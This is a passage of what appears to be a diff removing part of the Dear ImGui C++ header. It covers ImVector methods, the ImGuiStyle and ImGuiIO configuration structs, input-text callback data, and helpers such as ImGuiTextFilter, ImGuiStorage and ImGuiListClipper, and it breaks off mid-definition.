size, guaranteed not to cause a reallocation - inline void reserve(int new_capacity) { if (new_capacity <= Capacity) return; T* new_data = (T*)IM_ALLOC((size_t)new_capacity * sizeof(T)); if (Data) { memcpy(new_data, Data, (size_t)Size * sizeof(T)); IM_FREE(Data); } Data = new_data; Capacity = new_capacity; } - - // NB: It is illegal to call push_back/push_front/insert with a reference pointing inside the ImVector data itself! e.g. v.push_back(v[10]) is forbidden. - inline void push_back(const T& v) { if (Size == Capacity) reserve(_grow_capacity(Size + 1)); memcpy(&Data[Size], &v, sizeof(v)); Size++; } - inline void pop_back() { IM_ASSERT(Size > 0); Size--; } - inline void push_front(const T& v) { if (Size == 0) push_back(v); else insert(Data, v); } - inline T* erase(const T* it) { IM_ASSERT(it >= Data && it < Data + Size); const ptrdiff_t off = it - Data; memmove(Data + off, Data + off + 1, ((size_t)Size - (size_t)off - 1) * sizeof(T)); Size--; return Data + off; } - inline T* erase(const T* it, const T* it_last) { IM_ASSERT(it >= Data && it < Data + Size && it_last > it && it_last <= Data + Size); const ptrdiff_t count = it_last - it; const ptrdiff_t off = it - Data; memmove(Data + off, Data + off + count, ((size_t)Size - (size_t)off - count) * sizeof(T)); Size -= (int)count; return Data + off; } - inline T* erase_unsorted(const T* it) { IM_ASSERT(it >= Data && it < Data + Size); const ptrdiff_t off = it - Data; if (it < Data + Size - 1) memcpy(Data + off, Data + Size - 1, sizeof(T)); Size--; return Data + off; } - inline T* insert(const T* it, const T& v) { IM_ASSERT(it >= Data && it <= Data + Size); const ptrdiff_t off = it - Data; if (Size == Capacity) reserve(_grow_capacity(Size + 1)); if (off < (int)Size) memmove(Data + off + 1, Data + off, ((size_t)Size - (size_t)off) * sizeof(T)); memcpy(&Data[off], &v, sizeof(v)); Size++; return Data + off; } - inline bool contains(const T& v) const { const T* data = Data; const T* data_end = Data + Size; while (data < data_end) if (*data++ == v) return true; return false; } - inline T* find(const T& v) { T* data = Data; const T* data_end = Data + Size; while (data < data_end) if (*data == v) break; else ++data; return data; } - inline const T* find(const T& v) const { const T* data = Data; const T* data_end = Data + Size; while (data < data_end) if (*data == v) break; else ++data; return data; } - inline bool find_erase(const T& v) { const T* it = find(v); if (it < Data + Size) { erase(it); return true; } return false; } - inline bool find_erase_unsorted(const T& v) { const T* it = find(v); if (it < Data + Size) { erase_unsorted(it); return true; } return false; } - inline int index_from_ptr(const T* it) const { IM_ASSERT(it >= Data && it < Data + Size); const ptrdiff_t off = it - Data; return (int)off; } -}; - -//----------------------------------------------------------------------------- -// [SECTION] ImGuiStyle -//----------------------------------------------------------------------------- -// You may modify the ImGui::GetStyle() main instance during initialization and before NewFrame(). -// During the frame, use ImGui::PushStyleVar(ImGuiStyleVar_XXXX)/PopStyleVar() to alter the main style values, -// and ImGui::PushStyleColor(ImGuiCol_XXX)/PopStyleColor() for colors. -//----------------------------------------------------------------------------- - -struct ImGuiStyle -{ - float Alpha; // Global alpha applies to everything in Dear ImGui. - ImVec2 WindowPadding; // Padding within a window. - float WindowRounding; // Radius of window corners rounding. Set to 0.0f to have rectangular windows. Large values tend to lead to variety of artifacts and are not recommended. - float WindowBorderSize; // Thickness of border around windows. Generally set to 0.0f or 1.0f. (Other values are not well tested and more CPU/GPU costly). - ImVec2 WindowMinSize; // Minimum window size. This is a global setting. If you want to constraint individual windows, use SetNextWindowSizeConstraints(). - ImVec2 WindowTitleAlign; // Alignment for title bar text. Defaults to (0.0f,0.5f) for left-aligned,vertically centered. - ImGuiDir WindowMenuButtonPosition; // Side of the collapsing/docking button in the title bar (None/Left/Right). Defaults to ImGuiDir_Left. - float ChildRounding; // Radius of child window corners rounding. Set to 0.0f to have rectangular windows. - float ChildBorderSize; // Thickness of border around child windows. Generally set to 0.0f or 1.0f. (Other values are not well tested and more CPU/GPU costly). - float PopupRounding; // Radius of popup window corners rounding. (Note that tooltip windows use WindowRounding) - float PopupBorderSize; // Thickness of border around popup/tooltip windows. Generally set to 0.0f or 1.0f. (Other values are not well tested and more CPU/GPU costly). - ImVec2 FramePadding; // Padding within a framed rectangle (used by most widgets). - float FrameRounding; // Radius of frame corners rounding. Set to 0.0f to have rectangular frame (used by most widgets). - float FrameBorderSize; // Thickness of border around frames. Generally set to 0.0f or 1.0f. (Other values are not well tested and more CPU/GPU costly). - ImVec2 ItemSpacing; // Horizontal and vertical spacing between widgets/lines. - ImVec2 ItemInnerSpacing; // Horizontal and vertical spacing between within elements of a composed widget (e.g. a slider and its label). - ImVec2 CellPadding; // Padding within a table cell - ImVec2 TouchExtraPadding; // Expand reactive bounding box for touch-based system where touch position is not accurate enough. Unfortunately we don't sort widgets so priority on overlap will always be given to the first widget. So don't grow this too much! - float IndentSpacing; // Horizontal indentation when e.g. entering a tree node. Generally == (FontSize + FramePadding.x*2). - float ColumnsMinSpacing; // Minimum horizontal spacing between two columns. Preferably > (FramePadding.x + 1). - float ScrollbarSize; // Width of the vertical scrollbar, Height of the horizontal scrollbar. - float ScrollbarRounding; // Radius of grab corners for scrollbar. - float GrabMinSize; // Minimum width/height of a grab box for slider/scrollbar. - float GrabRounding; // Radius of grabs corners rounding. Set to 0.0f to have rectangular slider grabs. - float LogSliderDeadzone; // The size in pixels of the dead-zone around zero on logarithmic sliders that cross zero. - float TabRounding; // Radius of upper corners of a tab. Set to 0.0f to have rectangular tabs. - float TabBorderSize; // Thickness of border around tabs. - float TabMinWidthForCloseButton; // Minimum width for close button to appears on an unselected tab when hovered. Set to 0.0f to always show when hovering, set to FLT_MAX to never show close button unless selected. - ImGuiDir ColorButtonPosition; // Side of the color button in the ColorEdit4 widget (left/right). Defaults to ImGuiDir_Right. - ImVec2 ButtonTextAlign; // Alignment of button text when button is larger than text. Defaults to (0.5f, 0.5f) (centered). - ImVec2 SelectableTextAlign; // Alignment of selectable text. Defaults to (0.0f, 0.0f) (top-left aligned). It's generally important to keep this left-aligned if you want to lay multiple items on a same line. - ImVec2 DisplayWindowPadding; // Window position are clamped to be visible within the display area or monitors by at least this amount. Only applies to regular windows. - ImVec2 DisplaySafeAreaPadding; // If you cannot see the edges of your screen (e.g. on a TV) increase the safe area padding. Apply to popups/tooltips as well regular windows. NB: Prefer configuring your TV sets correctly! - float MouseCursorScale; // Scale software rendered mouse cursor (when io.MouseDrawCursor is enabled). May be removed later. - bool AntiAliasedLines; // Enable anti-aliased lines/borders. Disable if you are really tight on CPU/GPU. Latched at the beginning of the frame (copied to ImDrawList). - bool AntiAliasedLinesUseTex; // Enable anti-aliased lines/borders using textures where possible. Require backend to render with bilinear filtering. Latched at the beginning of the frame (copied to ImDrawList). - bool AntiAliasedFill; // Enable anti-aliased edges around filled shapes (rounded rectangles, circles, etc.). Disable if you are really tight on CPU/GPU. Latched at the beginning of the frame (copied to ImDrawList). - float CurveTessellationTol; // Tessellation tolerance when using PathBezierCurveTo() without a specific number of segments. Decrease for highly tessellated curves (higher quality, more polygons), increase to reduce quality. - float CircleTessellationMaxError; // Maximum error (in pixels) allowed when using AddCircle()/AddCircleFilled() or drawing rounded corner rectangles with no explicit segment count specified. Decrease for higher quality but more geometry. - ImVec4 Colors[ImGuiCol_COUNT]; - - IMGUI_API ImGuiStyle(); - IMGUI_API void ScaleAllSizes(float scale_factor); -}; - -//----------------------------------------------------------------------------- -// [SECTION] ImGuiIO -//----------------------------------------------------------------------------- -// Communicate most settings and inputs/outputs to Dear ImGui using this structure. -// Access via ImGui::GetIO(). Read 'Programmer guide' section in .cpp file for general usage. -//----------------------------------------------------------------------------- - -struct ImGuiIO -{ - //------------------------------------------------------------------ - // Configuration (fill once) // Default value - //------------------------------------------------------------------ - - ImGuiConfigFlags ConfigFlags; // = 0 // See ImGuiConfigFlags_ enum. Set by user/application. Gamepad/keyboard navigation options, etc. - ImGuiBackendFlags BackendFlags; // = 0 // See ImGuiBackendFlags_ enum. Set by backend (imgui_impl_xxx files or custom backend) to communicate features supported by the backend. - ImVec2 DisplaySize; // // Main display size, in pixels (generally == GetMainViewport()->Size) - float DeltaTime; // = 1.0f/60.0f // Time elapsed since last frame, in seconds. - float IniSavingRate; // = 5.0f // Minimum time between saving positions/sizes to .ini file, in seconds. - const char* IniFilename; // = "imgui.ini" // Path to .ini file. Set NULL to disable automatic .ini loading/saving, if e.g. you want to manually load/save from memory. - const char* LogFilename; // = "imgui_log.txt"// Path to .log file (default parameter to ImGui::LogToFile when no file is specified). - float MouseDoubleClickTime; // = 0.30f // Time for a double-click, in seconds. - float MouseDoubleClickMaxDist; // = 6.0f // Distance threshold to stay in to validate a double-click, in pixels. - float MouseDragThreshold; // = 6.0f // Distance threshold before considering we are dragging. - int KeyMap[ImGuiKey_COUNT]; // // Map of indices into the KeysDown[512] entries array which represent your "native" keyboard state. - float KeyRepeatDelay; // = 0.250f // When holding a key/button, time before it starts repeating, in seconds (for buttons in Repeat mode, etc.). - float KeyRepeatRate; // = 0.050f // When holding a key/button, rate at which it repeats, in seconds. - void* UserData; // = NULL // Store your own data for retrieval by callbacks. - - ImFontAtlas* Fonts; // // Font atlas: load, rasterize and pack one or more fonts into a single texture. - float FontGlobalScale; // = 1.0f // Global scale all fonts - bool FontAllowUserScaling; // = false // Allow user scaling text of individual window with CTRL+Wheel. - ImFont* FontDefault; // = NULL // Font to use on NewFrame(). Use NULL to uses Fonts->Fonts[0]. - ImVec2 DisplayFramebufferScale; // = (1, 1) // For retina display or other situations where window coordinates are different from framebuffer coordinates. This generally ends up in ImDrawData::FramebufferScale. - - // Miscellaneous options - bool MouseDrawCursor; // = false // Request ImGui to draw a mouse cursor for you (if you are on a platform without a mouse cursor). Cannot be easily renamed to 'io.ConfigXXX' because this is frequently used by backend implementations. - bool ConfigMacOSXBehaviors; // = defined(__APPLE__) // OS X style: Text editing cursor movement using Alt instead of Ctrl, Shortcuts using Cmd/Super instead of Ctrl, Line/Text Start and End using Cmd+Arrows instead of Home/End, Double click selects by word instead of selecting whole text, Multi-selection in lists uses Cmd/Super instead of Ctrl. - bool ConfigInputTextCursorBlink; // = true // Enable blinking cursor (optional as some users consider it to be distracting). - bool ConfigDragClickToInputText; // = false // [BETA] Enable turning DragXXX widgets into text input with a simple mouse click-release (without moving). Not desirable on devices without a keyboard. - bool ConfigWindowsResizeFromEdges; // = true // Enable resizing of windows from their edges and from the lower-left corner. This requires (io.BackendFlags & ImGuiBackendFlags_HasMouseCursors) because it needs mouse cursor feedback. (This used to be a per-window ImGuiWindowFlags_ResizeFromAnySide flag) - bool ConfigWindowsMoveFromTitleBarOnly; // = false // Enable allowing to move windows only when clicking on their title bar. Does not apply to windows without a title bar. - float ConfigMemoryCompactTimer; // = 60.0f // Timer (in seconds) to free transient windows/tables memory buffers when unused. Set to -1.0f to disable. - - //------------------------------------------------------------------ - // Platform Functions - // (the imgui_impl_xxxx backend files are setting those up for you) - //------------------------------------------------------------------ - - // Optional: Platform/Renderer backend name (informational only! will be displayed in About Window) + User data for backend/wrappers to store their own stuff. - const char* BackendPlatformName; // = NULL - const char* BackendRendererName; // = NULL - void* BackendPlatformUserData; // = NULL // User data for platform backend - void* BackendRendererUserData; // = NULL // User data for renderer backend - void* BackendLanguageUserData; // = NULL // User data for non C++ programming language backend - - // Optional: Access OS clipboard - // (default to use native Win32 clipboard on Windows, otherwise uses a private clipboard. Override to access OS clipboard on other architectures) - const char* (*GetClipboardTextFn)(void* user_data); - void (*SetClipboardTextFn)(void* user_data, const char* text); - void* ClipboardUserData; - - // Optional: Notify OS Input Method Editor of the screen position of your cursor for text input position (e.g. when using Japanese/Chinese IME on Windows) - // (default to use native imm32 api on Windows) - void (*ImeSetInputScreenPosFn)(int x, int y); - void* ImeWindowHandle; // = NULL // (Windows) Set this to your HWND to get automatic IME cursor positioning. - - //------------------------------------------------------------------ - // Input - Fill before calling NewFrame() - //------------------------------------------------------------------ - - ImVec2 MousePos; // Mouse position, in pixels. Set to ImVec2(-FLT_MAX, -FLT_MAX) if mouse is unavailable (on another screen, etc.) - bool MouseDown[5]; // Mouse buttons: 0=left, 1=right, 2=middle + extras (ImGuiMouseButton_COUNT == 5). Dear ImGui mostly uses left and right buttons. Others buttons allows us to track if the mouse is being used by your application + available to user as a convenience via IsMouse** API. - float MouseWheel; // Mouse wheel Vertical: 1 unit scrolls about 5 lines text. - float MouseWheelH; // Mouse wheel Horizontal. Most users don't have a mouse with an horizontal wheel, may not be filled by all backends. - bool KeyCtrl; // Keyboard modifier pressed: Control - bool KeyShift; // Keyboard modifier pressed: Shift - bool KeyAlt; // Keyboard modifier pressed: Alt - bool KeySuper; // Keyboard modifier pressed: Cmd/Super/Windows - bool KeysDown[512]; // Keyboard keys that are pressed (ideally left in the "native" order your engine has access to keyboard keys, so you can use your own defines/enums for keys). - float NavInputs[ImGuiNavInput_COUNT]; // Gamepad inputs. Cleared back to zero by EndFrame(). Keyboard keys will be auto-mapped and be written here by NewFrame(). - - // Functions - IMGUI_API void AddInputCharacter(unsigned int c); // Queue new character input - IMGUI_API void AddInputCharacterUTF16(ImWchar16 c); // Queue new character input from an UTF-16 character, it can be a surrogate - IMGUI_API void AddInputCharactersUTF8(const char* str); // Queue new characters input from an UTF-8 string - IMGUI_API void ClearInputCharacters(); // Clear the text input buffer manually - - //------------------------------------------------------------------ - // Output - Updated by NewFrame() or EndFrame()/Render() - // (when reading from the io.WantCaptureMouse, io.WantCaptureKeyboard flags to dispatch your inputs, it is - // generally easier and more correct to use their state BEFORE calling NewFrame(). See FAQ for details!) - //------------------------------------------------------------------ - - bool WantCaptureMouse; // Set when Dear ImGui will use mouse inputs, in this case do not dispatch them to your main game/application (either way, always pass on mouse inputs to imgui). (e.g. unclicked mouse is hovering over an imgui window, widget is active, mouse was clicked over an imgui window, etc.). - bool WantCaptureKeyboard; // Set when Dear ImGui will use keyboard inputs, in this case do not dispatch them to your main game/application (either way, always pass keyboard inputs to imgui). (e.g. InputText active, or an imgui window is focused and navigation is enabled, etc.). - bool WantTextInput; // Mobile/console: when set, you may display an on-screen keyboard. This is set by Dear ImGui when it wants textual keyboard input to happen (e.g. when a InputText widget is active). - bool WantSetMousePos; // MousePos has been altered, backend should reposition mouse on next frame. Rarely used! Set only when ImGuiConfigFlags_NavEnableSetMousePos flag is enabled. - bool WantSaveIniSettings; // When manual .ini load/save is active (io.IniFilename == NULL), this will be set to notify your application that you can call SaveIniSettingsToMemory() and save yourself. Important: clear io.WantSaveIniSettings yourself after saving! - bool NavActive; // Keyboard/Gamepad navigation is currently allowed (will handle ImGuiKey_NavXXX events) = a window is focused and it doesn't use the ImGuiWindowFlags_NoNavInputs flag. - bool NavVisible; // Keyboard/Gamepad navigation is visible and allowed (will handle ImGuiKey_NavXXX events). - float Framerate; // Application framerate estimate, in frame per second. Solely for convenience. Rolling average estimation based on io.DeltaTime over 120 frames. - int MetricsRenderVertices; // Vertices output during last call to Render() - int MetricsRenderIndices; // Indices output during last call to Render() = number of triangles * 3 - int MetricsRenderWindows; // Number of visible windows - int MetricsActiveWindows; // Number of active windows - int MetricsActiveAllocations; // Number of active allocations, updated by MemAlloc/MemFree based on current context. May be off if you have multiple imgui contexts. - ImVec2 MouseDelta; // Mouse delta. Note that this is zero if either current or previous position are invalid (-FLT_MAX,-FLT_MAX), so a disappearing/reappearing mouse won't have a huge delta. - - //------------------------------------------------------------------ - // [Internal] Dear ImGui will maintain those fields. Forward compatibility not guaranteed! - //------------------------------------------------------------------ - - ImGuiKeyModFlags KeyMods; // Key mods flags (same as io.KeyCtrl/KeyShift/KeyAlt/KeySuper but merged into flags), updated by NewFrame() - ImVec2 MousePosPrev; // Previous mouse position (note that MouseDelta is not necessary == MousePos-MousePosPrev, in case either position is invalid) - ImVec2 MouseClickedPos[5]; // Position at time of clicking - double MouseClickedTime[5]; // Time of last click (used to figure out double-click) - bool MouseClicked[5]; // Mouse button went from !Down to Down - bool MouseDoubleClicked[5]; // Has mouse button been double-clicked? - bool MouseReleased[5]; // Mouse button went from Down to !Down - bool MouseDownOwned[5]; // Track if button was clicked inside a dear imgui window. We don't request mouse capture from the application if click started outside ImGui bounds. - bool MouseDownWasDoubleClick[5]; // Track if button down was a double-click - float MouseDownDuration[5]; // Duration the mouse button has been down (0.0f == just clicked) - float MouseDownDurationPrev[5]; // Previous time the mouse button has been down - ImVec2 MouseDragMaxDistanceAbs[5]; // Maximum distance, absolute, on each axis, of how much mouse has traveled from the clicking point - float MouseDragMaxDistanceSqr[5]; // Squared maximum distance of how much mouse has traveled from the clicking point - float KeysDownDuration[512]; // Duration the keyboard key has been down (0.0f == just pressed) - float KeysDownDurationPrev[512]; // Previous duration the key has been down - float NavInputsDownDuration[ImGuiNavInput_COUNT]; - float NavInputsDownDurationPrev[ImGuiNavInput_COUNT]; - float PenPressure; // Touch/Pen pressure (0.0f to 1.0f, should be >0.0f only when MouseDown[0] == true). Helper storage currently unused by Dear ImGui. - ImWchar16 InputQueueSurrogate; // For AddInputCharacterUTF16 - ImVector InputQueueCharacters; // Queue of _characters_ input (obtained by platform backend). Fill using AddInputCharacter() helper. - - IMGUI_API ImGuiIO(); -}; - -//----------------------------------------------------------------------------- -// [SECTION] Misc data structures -//----------------------------------------------------------------------------- - -// Shared state of InputText(), passed as an argument to your callback when a ImGuiInputTextFlags_Callback* flag is used. -// The callback function should return 0 by default. -// Callbacks (follow a flag name and see comments in ImGuiInputTextFlags_ declarations for more details) -// - ImGuiInputTextFlags_CallbackEdit: Callback on buffer edit (note that InputText() already returns true on edit, the callback is useful mainly to manipulate the underlying buffer while focus is active) -// - ImGuiInputTextFlags_CallbackAlways: Callback on each iteration -// - ImGuiInputTextFlags_CallbackCompletion: Callback on pressing TAB -// - ImGuiInputTextFlags_CallbackHistory: Callback on pressing Up/Down arrows -// - ImGuiInputTextFlags_CallbackCharFilter: Callback on character inputs to replace or discard them. Modify 'EventChar' to replace or discard, or return 1 in callback to discard. -// - ImGuiInputTextFlags_CallbackResize: Callback on buffer capacity changes request (beyond 'buf_size' parameter value), allowing the string to grow. -struct ImGuiInputTextCallbackData -{ - ImGuiInputTextFlags EventFlag; // One ImGuiInputTextFlags_Callback* // Read-only - ImGuiInputTextFlags Flags; // What user passed to InputText() // Read-only - void* UserData; // What user passed to InputText() // Read-only - - // Arguments for the different callback events - // - To modify the text buffer in a callback, prefer using the InsertChars() / DeleteChars() function. InsertChars() will take care of calling the resize callback if necessary. - // - If you know your edits are not going to resize the underlying buffer allocation, you may modify the contents of 'Buf[]' directly. You need to update 'BufTextLen' accordingly (0 <= BufTextLen < BufSize) and set 'BufDirty'' to true so InputText can update its internal state. - ImWchar EventChar; // Character input // Read-write // [CharFilter] Replace character with another one, or set to zero to drop. return 1 is equivalent to setting EventChar=0; - ImGuiKey EventKey; // Key pressed (Up/Down/TAB) // Read-only // [Completion,History] - char* Buf; // Text buffer // Read-write // [Resize] Can replace pointer / [Completion,History,Always] Only write to pointed data, don't replace the actual pointer! - int BufTextLen; // Text length (in bytes) // Read-write // [Resize,Completion,History,Always] Exclude zero-terminator storage. In C land: == strlen(some_text), in C++ land: string.length() - int BufSize; // Buffer size (in bytes) = capacity+1 // Read-only // [Resize,Completion,History,Always] Include zero-terminator storage. In C land == ARRAYSIZE(my_char_array), in C++ land: string.capacity()+1 - bool BufDirty; // Set if you modify Buf/BufTextLen! // Write // [Completion,History,Always] - int CursorPos; // // Read-write // [Completion,History,Always] - int SelectionStart; // // Read-write // [Completion,History,Always] == to SelectionEnd when no selection) - int SelectionEnd; // // Read-write // [Completion,History,Always] - - // Helper functions for text manipulation. - // Use those function to benefit from the CallbackResize behaviors. Calling those function reset the selection. - IMGUI_API ImGuiInputTextCallbackData(); - IMGUI_API void DeleteChars(int pos, int bytes_count); - IMGUI_API void InsertChars(int pos, const char* text, const char* text_end = NULL); - void SelectAll() { SelectionStart = 0; SelectionEnd = BufTextLen; } - void ClearSelection() { SelectionStart = SelectionEnd = BufTextLen; } - bool HasSelection() const { return SelectionStart != SelectionEnd; } -}; - -// Resizing callback data to apply custom constraint. As enabled by SetNextWindowSizeConstraints(). Callback is called during the next Begin(). -// NB: For basic min/max size constraint on each axis you don't need to use the callback! The SetNextWindowSizeConstraints() parameters are enough. -struct ImGuiSizeCallbackData -{ - void* UserData; // Read-only. What user passed to SetNextWindowSizeConstraints() - ImVec2 Pos; // Read-only. Window position, for reference. - ImVec2 CurrentSize; // Read-only. Current window size. - ImVec2 DesiredSize; // Read-write. Desired size, based on user's mouse position. Write to this field to restrain resizing. -}; - -// Data payload for Drag and Drop operations: AcceptDragDropPayload(), GetDragDropPayload() -struct ImGuiPayload -{ - // Members - void* Data; // Data (copied and owned by dear imgui) - int DataSize; // Data size - - // [Internal] - ImGuiID SourceId; // Source item id - ImGuiID SourceParentId; // Source parent id (if available) - int DataFrameCount; // Data timestamp - char DataType[32 + 1]; // Data type tag (short user-supplied string, 32 characters max) - bool Preview; // Set when AcceptDragDropPayload() was called and mouse has been hovering the target item (nb: handle overlapping drag targets) - bool Delivery; // Set when AcceptDragDropPayload() was called and mouse button is released over the target item. - - ImGuiPayload() { Clear(); } - void Clear() { SourceId = SourceParentId = 0; Data = NULL; DataSize = 0; memset(DataType, 0, sizeof(DataType)); DataFrameCount = -1; Preview = Delivery = false; } - bool IsDataType(const char* type) const { return DataFrameCount != -1 && strcmp(type, DataType) == 0; } - bool IsPreview() const { return Preview; } - bool IsDelivery() const { return Delivery; } -}; - -// Sorting specification for one column of a table (sizeof == 12 bytes) -struct ImGuiTableColumnSortSpecs -{ - ImGuiID ColumnUserID; // User id of the column (if specified by a TableSetupColumn() call) - ImS16 ColumnIndex; // Index of the column - ImS16 SortOrder; // Index within parent ImGuiTableSortSpecs (always stored in order starting from 0, tables sorted on a single criteria will always have a 0 here) - ImGuiSortDirection SortDirection : 8; // ImGuiSortDirection_Ascending or ImGuiSortDirection_Descending (you can use this or SortSign, whichever is more convenient for your sort function) - - ImGuiTableColumnSortSpecs() { memset(this, 0, sizeof(*this)); } -}; - -// Sorting specifications for a table (often handling sort specs for a single column, occasionally more) -// Obtained by calling TableGetSortSpecs(). -// When 'SpecsDirty == true' you can sort your data. It will be true with sorting specs have changed since last call, or the first time. -// Make sure to set 'SpecsDirty = false' after sorting, else you may wastefully sort your data every frame! -struct ImGuiTableSortSpecs -{ - const ImGuiTableColumnSortSpecs* Specs; // Pointer to sort spec array. - int SpecsCount; // Sort spec count. Most often 1. May be > 1 when ImGuiTableFlags_SortMulti is enabled. May be == 0 when ImGuiTableFlags_SortTristate is enabled. - bool SpecsDirty; // Set to true when specs have changed since last time! Use this to sort again, then clear the flag. - - ImGuiTableSortSpecs() { memset(this, 0, sizeof(*this)); } -}; - -//----------------------------------------------------------------------------- -// [SECTION] Helpers (ImGuiOnceUponAFrame, ImGuiTextFilter, ImGuiTextBuffer, ImGuiStorage, ImGuiListClipper, ImColor) -//----------------------------------------------------------------------------- - -// Helper: Unicode defines -#define IM_UNICODE_CODEPOINT_INVALID 0xFFFD // Invalid Unicode code point (standard value). -#ifdef IMGUI_USE_WCHAR32 -#define IM_UNICODE_CODEPOINT_MAX 0x10FFFF // Maximum Unicode code point supported by this build. -#else -#define IM_UNICODE_CODEPOINT_MAX 0xFFFF // Maximum Unicode code point supported by this build. -#endif - -// Helper: Execute a block of code at maximum once a frame. Convenient if you want to quickly create an UI within deep-nested code that runs multiple times every frame. -// Usage: static ImGuiOnceUponAFrame oaf; if (oaf) ImGui::Text("This will be called only once per frame"); -struct ImGuiOnceUponAFrame -{ - ImGuiOnceUponAFrame() { RefFrame = -1; } - mutable int RefFrame; - operator bool() const { int current_frame = ImGui::GetFrameCount(); if (RefFrame == current_frame) return false; RefFrame = current_frame; return true; } -}; - -// Helper: Parse and apply text filters. In format "aaaaa[,bbbb][,ccccc]" -struct ImGuiTextFilter -{ - IMGUI_API ImGuiTextFilter(const char* default_filter = ""); - IMGUI_API bool Draw(const char* label = "Filter (inc,-exc)", float width = 0.0f); // Helper calling InputText+Build - IMGUI_API bool PassFilter(const char* text, const char* text_end = NULL) const; - IMGUI_API void Build(); - void Clear() { InputBuf[0] = 0; Build(); } - bool IsActive() const { return !Filters.empty(); } - - // [Internal] - struct ImGuiTextRange - { - const char* b; - const char* e; - - ImGuiTextRange() { b = e = NULL; } - ImGuiTextRange(const char* _b, const char* _e) { b = _b; e = _e; } - bool empty() const { return b == e; } - IMGUI_API void split(char separator, ImVector* out) const; - }; - char InputBuf[256]; - ImVectorFilters; - int CountGrep; -}; - -// Helper: Growable text buffer for logging/accumulating text -// (this could be called 'ImGuiTextBuilder' / 'ImGuiStringBuilder') -struct ImGuiTextBuffer -{ - ImVector Buf; - IMGUI_API static char EmptyString[1]; - - ImGuiTextBuffer() { } - inline char operator[](int i) const { IM_ASSERT(Buf.Data != NULL); return Buf.Data[i]; } - const char* begin() const { return Buf.Data ? &Buf.front() : EmptyString; } - const char* end() const { return Buf.Data ? &Buf.back() : EmptyString; } // Buf is zero-terminated, so end() will point on the zero-terminator - int size() const { return Buf.Size ? Buf.Size - 1 : 0; } - bool empty() const { return Buf.Size <= 1; } - void clear() { Buf.clear(); } - void reserve(int capacity) { Buf.reserve(capacity); } - const char* c_str() const { return Buf.Data ? Buf.Data : EmptyString; } - IMGUI_API void append(const char* str, const char* str_end = NULL); - IMGUI_API void appendf(const char* fmt, ...) IM_FMTARGS(2); - IMGUI_API void appendfv(const char* fmt, va_list args) IM_FMTLIST(2); -}; - -// Helper: Key->Value storage -// Typically you don't have to worry about this since a storage is held within each Window. -// We use it to e.g. store collapse state for a tree (Int 0/1) -// This is optimized for efficient lookup (dichotomy into a contiguous buffer) and rare insertion (typically tied to user interactions aka max once a frame) -// You can use it as custom user storage for temporary values. Declare your own storage if, for example: -// - You want to manipulate the open/close state of a particular sub-tree in your interface (tree node uses Int 0/1 to store their state). -// - You want to store custom debug data easily without adding or editing structures in your code (probably not efficient, but convenient) -// Types are NOT stored, so it is up to you to make sure your Key don't collide with different types. -struct ImGuiStorage -{ - // [Internal] - struct ImGuiStoragePair - { - ImGuiID key; - union { int val_i; float val_f; void* val_p; }; - ImGuiStoragePair(ImGuiID _key, int _val_i) { key = _key; val_i = _val_i; } - ImGuiStoragePair(ImGuiID _key, float _val_f) { key = _key; val_f = _val_f; } - ImGuiStoragePair(ImGuiID _key, void* _val_p) { key = _key; val_p = _val_p; } - }; - - ImVector Data; - - // - Get***() functions find pair, never add/allocate. Pairs are sorted so a query is O(log N) - // - Set***() functions find pair, insertion on demand if missing. - // - Sorted insertion is costly, paid once. A typical frame shouldn't need to insert any new pair. - void Clear() { Data.clear(); } - IMGUI_API int GetInt(ImGuiID key, int default_val = 0) const; - IMGUI_API void SetInt(ImGuiID key, int val); - IMGUI_API bool GetBool(ImGuiID key, bool default_val = false) const; - IMGUI_API void SetBool(ImGuiID key, bool val); - IMGUI_API float GetFloat(ImGuiID key, float default_val = 0.0f) const; - IMGUI_API void SetFloat(ImGuiID key, float val); - IMGUI_API void* GetVoidPtr(ImGuiID key) const; // default_val is NULL - IMGUI_API void SetVoidPtr(ImGuiID key, void* val); - - // - Get***Ref() functions finds pair, insert on demand if missing, return pointer. Useful if you intend to do Get+Set. - // - References are only valid until a new value is added to the storage. Calling a Set***() function or a Get***Ref() function invalidates the pointer. - // - A typical use case where this is convenient for quick hacking (e.g. add storage during a live Edit&Continue session if you can't modify existing struct) - // float* pvar = ImGui::GetFloatRef(key); ImGui::SliderFloat("var", pvar, 0, 100.0f); some_var += *pvar; - IMGUI_API int* GetIntRef(ImGuiID key, int default_val = 0); - IMGUI_API bool* GetBoolRef(ImGuiID key, bool default_val = false); - IMGUI_API float* GetFloatRef(ImGuiID key, float default_val = 0.0f); - IMGUI_API void** GetVoidPtrRef(ImGuiID key, void* default_val = NULL); - - // Use on your own storage if you know only integer are being stored (open/close all tree nodes) - IMGUI_API void SetAllInt(int val); - - // For quicker full rebuild of a storage (instead of an incremental one), you may add all your contents and then sort once. - IMGUI_API void BuildSortByKey(); -}; - -// Helper: Manually clip large list of items. -// If you are submitting lots of evenly spaced items and you have a random access to the list, you can perform coarse -// clipping based on visibility to save yourself from processing those items at all. -// The clipper calculates the range of visible items and advance the cursor to compensate for the non-visible items we have skipped. -// (Dear ImGui already clip items based on their bounds but it needs to measure text size to do so, whereas manual coarse clipping before submission makes this cost and your own data fetching/submission cost almost null) -// Usage: -// ImGuiListClipper clipper; -// clipper.Begin(1000); // We have 1000 elements, evenly spaced. -// while (clipper.Step()) -// for (int i = clipper.DisplayStart; i < clipper.DisplayEnd; i++) -// ImGui::Text("line number %d", i); -// Generally what happens is: -// - Clipper lets you process the first element (DisplayStart = 0, DisplayEnd = 1) regardless of it being visible or not. -// - User code submit one element. -// - Clipper can measure the height of the first element -// - Clipper calculate the actual range of elements to display based on the current clipping rectangle, position the cursor before the first visible element. -// - User code submit visible elements. -struct ImGuiListClipper -{ - int DisplayStart; - int DisplayEnd; - - // [Internal] - int ItemsCount; - int StepNo; - int ItemsFrozen; - float ItemsHeight; - float StartPosY; - - IMGUI_API ImGuiListClipper(); - IMGUI_API ~ImGuiListClipper(); - - // items_count: Use INT_MAX if you don't know how many items you have (in which case the cursor won't be advanced in the final step) - // items_height: Use -1.0f to be calculated automatically on first step. Otherwise pass in the distance between your items, typically GetTextLineHeightWithSpacing() or GetFrameHeightWithSpacing(). - IMGUI_API void Begin(int items_count, float items_height = -1.0f); // Automatically called by constructor if you passed 'items_count' or by Step() in Step 1. - IMGUI_API void End(); // Automatically called on the last call of Step() that returns false. - IMGUI_API bool Step(); // Call until it returns false. The DisplayStart/DisplayEnd fields will be set and you can process/draw those items. - -#ifndef IMGUI_DISABLE_OBSOLETE_FUNCTIONS - inline ImGuiListClipper(int items_count, float items_height = -1.0f) { memset(this, 0, sizeof(*this)); ItemsCount = 